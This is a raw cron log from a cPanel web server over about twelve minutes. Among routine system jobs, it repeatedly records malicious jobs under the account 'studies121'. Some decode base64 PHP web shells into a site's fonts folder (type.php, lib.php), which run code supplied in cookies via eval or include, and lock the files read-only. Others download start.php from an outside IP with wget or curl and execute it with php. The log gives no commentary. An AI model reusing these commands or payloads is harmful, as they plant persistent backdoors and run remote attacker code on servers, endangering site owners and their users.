Sep  7 21:20:01 ip-184-168-122-23 CROND[21239]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 21:20:01 ip-184-168-122-23 CROND[21238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:20:01 ip-184-168-122-23 CROND[21240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:20:01 ip-184-168-122-23 CROND[21242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:21:01 ip-184-168-122-23 CROND[21354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:21:01 ip-184-168-122-23 CROND[21356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:21:01 ip-184-168-122-23 CROND[21358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:21:01 ip-184-168-122-23 CROND[21357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:22:01 ip-184-168-122-23 CROND[21534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:22:01 ip-184-168-122-23 CROND[21535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:22:01 ip-184-168-122-23 CROND[21533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:22:01 ip-184-168-122-23 CROND[21536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:22:01 ip-184-168-122-23 CROND[21538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:23:01 ip-184-168-122-23 CROND[21630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:23:01 ip-184-168-122-23 CROND[21629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:23:01 ip-184-168-122-23 CROND[21632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:23:01 ip-184-168-122-23 CROND[21631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:24:01 ip-184-168-122-23 CROND[21710]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:24:01 ip-184-168-122-23 CROND[21712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:24:01 ip-184-168-122-23 CROND[21713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:24:01 ip-184-168-122-23 CROND[21714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:24:01 ip-184-168-122-23 CROND[21715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:25:01 ip-184-168-122-23 CROND[21799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:25:01 ip-184-168-122-23 CROND[21802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:25:01 ip-184-168-122-23 CROND[21801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:25:01 ip-184-168-122-23 CROND[21804]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:25:01 ip-184-168-122-23 CROND[21803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:25:01 ip-184-168-122-23 CROND[21805]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:26:02 ip-184-168-122-23 CROND[21900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:26:02 ip-184-168-122-23 CROND[21901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:26:02 ip-184-168-122-23 CROND[21903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:26:02 ip-184-168-122-23 CROND[21902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:26:02 ip-184-168-122-23 CROND[21904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:27:01 ip-184-168-122-23 CROND[22073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:27:01 ip-184-168-122-23 CROND[22075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:27:01 ip-184-168-122-23 CROND[22074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:27:01 ip-184-168-122-23 CROND[22076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:28:01 ip-184-168-122-23 CROND[22161]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:28:01 ip-184-168-122-23 CROND[22164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:28:01 ip-184-168-122-23 CROND[22163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:28:01 ip-184-168-122-23 CROND[22165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:28:01 ip-184-168-122-23 CROND[22166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:29:01 ip-184-168-122-23 CROND[22256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:29:01 ip-184-168-122-23 CROND[22257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:29:01 ip-184-168-122-23 CROND[22258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:29:01 ip-184-168-122-23 CROND[22260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:30:01 ip-184-168-122-23 CROND[22355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:30:02 ip-184-168-122-23 CROND[22358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:30:02 ip-184-168-122-23 CROND[22359]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:30:02 ip-184-168-122-23 CROND[22361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:30:02 ip-184-168-122-23 CROND[22362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:30:02 ip-184-168-122-23 CROND[22360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:30:02 ip-184-168-122-23 CROND[22363]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 21:30:02 ip-184-168-122-23 CROND[22357]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:31:01 ip-184-168-122-23 CROND[22496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:31:01 ip-184-168-122-23 CROND[22498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:31:01 ip-184-168-122-23 CROND[22497]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 21:31:01 ip-184-168-122-23 CROND[22500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:31:01 ip-184-168-122-23 CROND[22501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:32:01 ip-184-168-122-23 CROND[22627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:32:01 ip-184-168-122-23 CROND[22629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:32:01 ip-184-168-122-23 CROND[22630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:32:01 ip-184-168-122-23 CROND[22631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:32:01 ip-184-168-122-23 CROND[22632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
